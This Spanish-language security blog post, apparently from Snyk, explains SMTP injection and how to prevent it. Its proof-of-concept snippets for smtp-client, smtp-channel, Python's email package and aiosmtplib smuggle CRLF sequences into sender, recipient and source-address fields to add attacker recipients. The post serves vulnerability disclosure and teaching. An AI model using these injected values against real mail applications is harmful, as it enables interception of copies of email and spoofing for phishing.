Skip to main content

Cómo evitar la inyección SMTP: una introducción desde una perspectiva de caja blanca

Escrito por
Headshot of Sam Sanoop

Sam Sanoop

feature smtp injection

15 de septiembre de 2022

0 minutos de lectura

Los desarrolladores y profesionales de seguridad suelen malinterpretar las vulnerabilidades de inyección SMTP, que también pueden pasar desapercibidas para los productos de análisis estático. En este blog veremos cómo pueden presentarse vulnerabilidades comunes de inyección SMTP en bibliotecas y aplicaciones, y ofreceremos consejos para detectarlas y corregirlas rápidamente.

Introducción a SMTP

Simple Mail Transfer Protocol (SMTP) es un protocolo de correo electrónico que se utiliza para enviar y recibir mensajes. Los clientes de correo electrónico que usan los usuarios suelen utilizar SMTP para enviar mensajes a un servidor de correo que los retransmite. Los servidores SMTP suelen usar el protocolo de control de transmisión (TCP) en el puerto 25 (para texto sin cifrar) y en el 587 (para comunicaciones cifradas).

El software y las aplicaciones modernas suelen usar el protocolo SMTP como parte del flujo de usuario y enviar correos electrónicos a partir de una acción del usuario. Un ejemplo son los correos electrónicos de confirmación de registro: pueden tomar la dirección de correo electrónico de un usuario, agregar un texto de bienvenida predefinido y retransmitir el mensaje a un servidor SMTP para que llegue a la cuenta de correo electrónico del usuario.

Durante una sesión SMTP entre un cliente y un servidor SMTP, el cliente puede usar varios comandos SMTP. Estos son algunos ejemplos comunes:

  • HELO/EHLO: el comando HELO inicia la conversación de la sesión SMTP, por ejemplo, HELO snyk.io.

  • MAIL FROM: el comando MAIL FROM inicia una transferencia de correo con una dirección de origen, por ejemplo, MAIL FROM "[foo@snyk.io](mailto:foo@snyk.io)".

  • RCPT TO: el comando RCPT TO especifica el destinatario al que se enviará el correo electrónico, por ejemplo, RCPT TO "[foobar@snyk.io](mailto:foobar@snyk.io)".

  • DATA: con el comando DATA, el cliente solicita al servidor permiso para transferir los datos del correo. El código de respuesta 354 otorga el permiso y el cliente inicia la entrega del contenido del correo electrónico, línea por línea. La transmisión de DATA puede finalizarse con el carácter .

A continuación, se muestra un ejemplo de comunicación SMTP entre un cliente y un servidor.

Server: 220 smtp.snyk.test ESMTP Postfix
Client: HELO relay.snyk.test
Server: 250 Hello relay.snyk.test, I am glad to meet you
Client: MAIL FROM:<sams@snyk.test>
S: 250 Ok
C: RCPT TO:<jack@snyk.test>
S: 250 Ok
C: RCPT TO:<asaf@snyk.test>
S: 250 Ok
C: DATA
S: 354 End data with <CR><LF>.<CR><LF>
C: From: "Sam S" <sams@snyk.test>
C: To: "Jack H" <jack@snyk.test>
C: Cc: asaf@snyk.test
C: Date: Tue, 15 Jan 2008 16:02:43 -0500
C: Subject: Test message
C:
C: Hello Jack.
C: This is a test.
C: Your friend,
C: Sam
C: .
S: 250 Ok: queued as 12345
C: QUIT
S: 221 Bye
{The server closed the connection}

¿Qué es la inyección SMTP?

La inyección SMTP puede ocurrir cuando un atacante logra inyectar comandos SMTP arbitrarios en una comunicación SMTP entre un cliente y un servidor. Esto puede suceder al inyectar caracteres CRLF adicionales que forman parte de parámetros controlados por el usuario y que se incluyen en un comando SMTP sin validación ni sanitización adecuadas.

Estos casos suelen presentarse en aplicaciones web que usan bibliotecas para enviar comandos SMTP o que tienen implementaciones internas que no validan los parámetros controlados por el usuario.

El impacto de la inyección SMTP puede variar según el contexto de la aplicación afectada. Algunos impactos comunes son:

  • Enviar copias de correos electrónicos a un tercero.

  • Modificar el contenido del mensaje que se envía al servidor SMTP.

  • Usar la aplicación afectada por la inyección SMTP como proxy para realizar ataques de phishing.

Para comprender mejor la inyección SMTP, veamos los siguientes ejemplos.

Escenario 1 de inyección SMTP

Los desarrolladores suelen usar bibliotecas de terceros para enviar correos electrónicos a un servidor SMTP, como alternativa a las funciones SMTP de las bibliotecas estándar. Un ejemplo de este tipo de biblioteca es smtp-client. smtp-client ofrece varios campos para configurar el nombre de host, la autenticación, el destinatario y los remitentes, que luego pueden enviarse como parte de un mensaje SMTP.

var smtp = require('smtp-client');
let s = new smtp.SMTPClient({
  host: '127.0.0.1',
  port: 1225
});

(async function() {

  await s.connect();

  await s.greet({hostname: '127.0.01'}); // runs EHLO command or HELO as a fallback
  await s.authPlain({username: 'testuser', password: 'testpass'}); // authenticates a user
  await s.mail({from: 'from@sender.com'}); // runs MAIL FROM command
  await s.rcpt({to: 'to@recipient.com'}); // runs RCPT TO command (run this multiple times to add more recii)
  await s.data('mail source'); // runs DATA command and streams email source
  await s.quit(); // runs QUIT command

})().catch(console.error);

Sin embargo, imaginemos que no es posible configurar el campo s.rcpt y que el usuario solo controla s.mail. En esos casos, se pueden usar caracteres CRLF para insertar un nuevo comando, como from@sender.com>\r\nRCPT TO:<[attacker@snyk.io](mailto:attacker@snyk.io).

Ejemplo:

await s.mail({from: 'from@sender.com>\r\nRCPT TO:<attacker@snyk.io'});

Como no se realizó ninguna validación, el cliente SMTP procesará los caracteres CRLF y tratará RCPT TO:<[attacker@snyk.io](mailto:attacker@snyk.io) como un nuevo comando SMTP. La siguiente imagen muestra cómo un servidor SMTP acepta este comando.

Registro de depuración SMTP que muestra una autenticación exitosa, las direcciones del remitente y del destinatario, las respuestas de aceptación y el final de los datos del mensaje.

Además de smtp-client, Snyk también encontró los paquetes de Perl Email MIME y Net::SMTP, que también son vulnerables a la inyección SMTP a través de varios campos. Se informó de este problema de seguridad a los mantenedores de las bibliotecas correspondientes, y las versiones más recientes de estos paquetes ya incluyen las correcciones.

Escenario 2 de inyección SMTP

En varios ecosistemas de lenguajes también hay bibliotecas de bajo nivel que los desarrolladores pueden usar para comunicarse con un servidor SMTP. Un ejemplo es smtp-channel.

En el caso de smtp-channel, los desarrolladores podrían optar por crear correos electrónicos para los usuarios con datos que estos proporcionan y pasar esos datos a smtp-channel como un flujo. En esos casos, un atacante puede agregar encabezados y usar la sesión SMTP existente para falsificar un correo electrónico. El siguiente código demuestra este problema:

const {SMTPChannel} = require('smtp-channel');

(async function() {
    let handler = console.log;

    let smtp = new SMTPChannel({
      host: 'localhost',
      port: 1225
    });

    var userinput = 'RCPT TO: <attacker@snyk.test>\r\nDATA\r\n\r\nFoo'
    var userstream = 'EHLO mx.me.com\r\nMAIL FROM: <test@snyk.test>\r\n' + userinput + '\r\n.\r\n'
    await smtp.connect({handler, timeout: 3000});
    await smtp.write(userstream, {handler});
    await smtp.write('QUIT\r\n', {handler});

  })().catch(console.error);

Escenario 3 de inyección SMTP

Las bibliotecas para crear correos electrónicos que se usan junto con clientes SMTP también pueden verse afectadas por la inyección SMTP. Un ejemplo de este problema se encuentra en el paquete email de Python, una biblioteca para administrar mensajes de correo electrónico. En este caso, es posible realizar una inyección SMTP al proporcionar caracteres CRLF en el campo mail.headerregistry.Address.

import smtplib

from email.message import EmailMessage
from email.headerregistry import Address
from email.utils import make_msgid

# Create the base text message.
msg = EmailMessage()
msg['Subject'] = "Example Subject"
msg['From'] = Address("Sam", "Sanoop", "snyk.test")
msg['To'] = (Address("Example", "One", "snyk.test>\r\ncC: Foo <attacker@snyk.test"))
msg.set_content("""\
Salut!

Test Email 
--Sam
""")

# Send the message via SMTP server.
with smtplib.SMTP("127.0.0.1", 1225) as s:
    s.login("testuser", "testpass")
    s.set_debuglevel(2)
    s.send_message(msg)

La siguiente imagen muestra cómo se cierra el comando RCPT existente con el carácter > y se inyecta un nuevo encabezado cC mediante \r\n. Este se enviará como un nuevo comando RCPT, como se muestra a continuación.

Registro de terminal que muestra un correo de prueba SMTP enviado correctamente, con el asunto “Asunto de ejemplo”, los datos del remitente y el destinatario, y la confirmación de que el mensaje quedó en cola.

Cabe señalar que el equipo de seguridad de Python corrigió esta vulnerabilidad en las versiones 3.X. Haz clic aquí para consultar las notas completas de la versión. Sin embargo, las versiones 2.X siguen siendo vulnerables.

Escenario 4 de inyección SMTP

Al buscar vulnerabilidades de inyección SMTP, conviene tener en cuenta que otros campos, como el nombre de host y la dirección de origen, también pueden aceptar caracteres CRLF y, por lo tanto, permitir la inyección SMTP.

En el siguiente ejemplo, se sanitizan los campos From y To que se proporcionan a aiosmtplib. Sin embargo, todavía es posible inyectar en source_address e insertar un comando SMTP arbitrario. A continuación, se muestra la prueba de concepto (PoC) que lo demuestra:

import asyncio
from email.message import EmailMessage

from aiosmtplib import SMTP

async def say_hello():
    message = EmailMessage()
    message["From"] = "root@localhost"
    message["To"] = "somebody@example.com"
   ## message["Subject"] = "Hello World!\r\nFoo: Bar"
    message.set_content("Sent via aiosmtplib")

    smtp_client = SMTP(hostname="127.0.0.1", port=1225,source_address="bob.example.org\r\nRCPT TO: <attacker@attacker.com>")
    async with smtp_client:
        await smtp_client.send_message(message)

event_loop = asyncio.get_event_loop()
event_loop.run_until_complete(say_hello())

Esto genera la siguiente comunicación SMTP.

Terminal que muestra un intercambio de comunicación SMTP con comandos, respuestas del servidor, un comando MAIL rechazado y un restablecimiento y cierre exitosos.

Otros casos a tener en cuenta

En ciertas situaciones, las bibliotecas de correo también pueden permitir vectores de ejecución de código. Un ejemplo es la función mail(). Si la entrada del usuario llega al quinto parámetro de la función mail(), un atacante puede aprovecharlo para ejecutar código. Haz clic aquí para consultar un ejemplo de este problema.

Las vulnerabilidades de inyección SMTP suelen confundirse con las vulnerabilidades de inyección de correo. En una vulnerabilidad de inyección de correo, un atacante podría abusar de una función de mensajería por correo electrónico para enviar correos arbitrarios mediante una función SMTP y realizar ataques de phishing. En cambio, en una inyección SMTP se usan caracteres CRLF para inyectar encabezados arbitrarios, que luego pueden utilizarse para falsificar correos electrónicos y realizar ataques de phishing.

Cómo prevenir la inyección SMTP

La inyección SMTP es una vulnerabilidad que los desarrolladores y los mantenedores de bibliotecas de código abierto suelen pasar por alto. En la mayoría de los casos, los mantenedores de las bibliotecas deberían corregir estos problemas. Muchas bibliotecas conocidas, como JavaMail, PHPMailer y RubyMail, ya previenen la inyección SMTP al sanitizar los caracteres CRLF. En el caso de las bibliotecas de bajo nivel, como smtp-channel, el desarrollador que las utiliza es responsable de validar y sanitizar las entradas del usuario.

Para ayudar a que la comunidad de código abierto sea más segura, el equipo de seguridad de Snyk también divulgó vulnerabilidades de inyección SMTP en las siguientes bibliotecas.

Biblioteca

Lenguaje

Versión corregida

SMTPMail-drogon

C

Corregido en Master

Email::MIME

Perl

No hay una corrección disponible

Net::SMTP

Perl

No hay una corrección disponible

aiosmtplib

Python

Corregido en 1.1.7

smtpclient

NodeJS

No hay una corrección disponible

Empieza con los desafíos de Capture the Flag

Aprende a resolver desafíos de captura la bandera con nuestro taller virtual introductorio a pedido.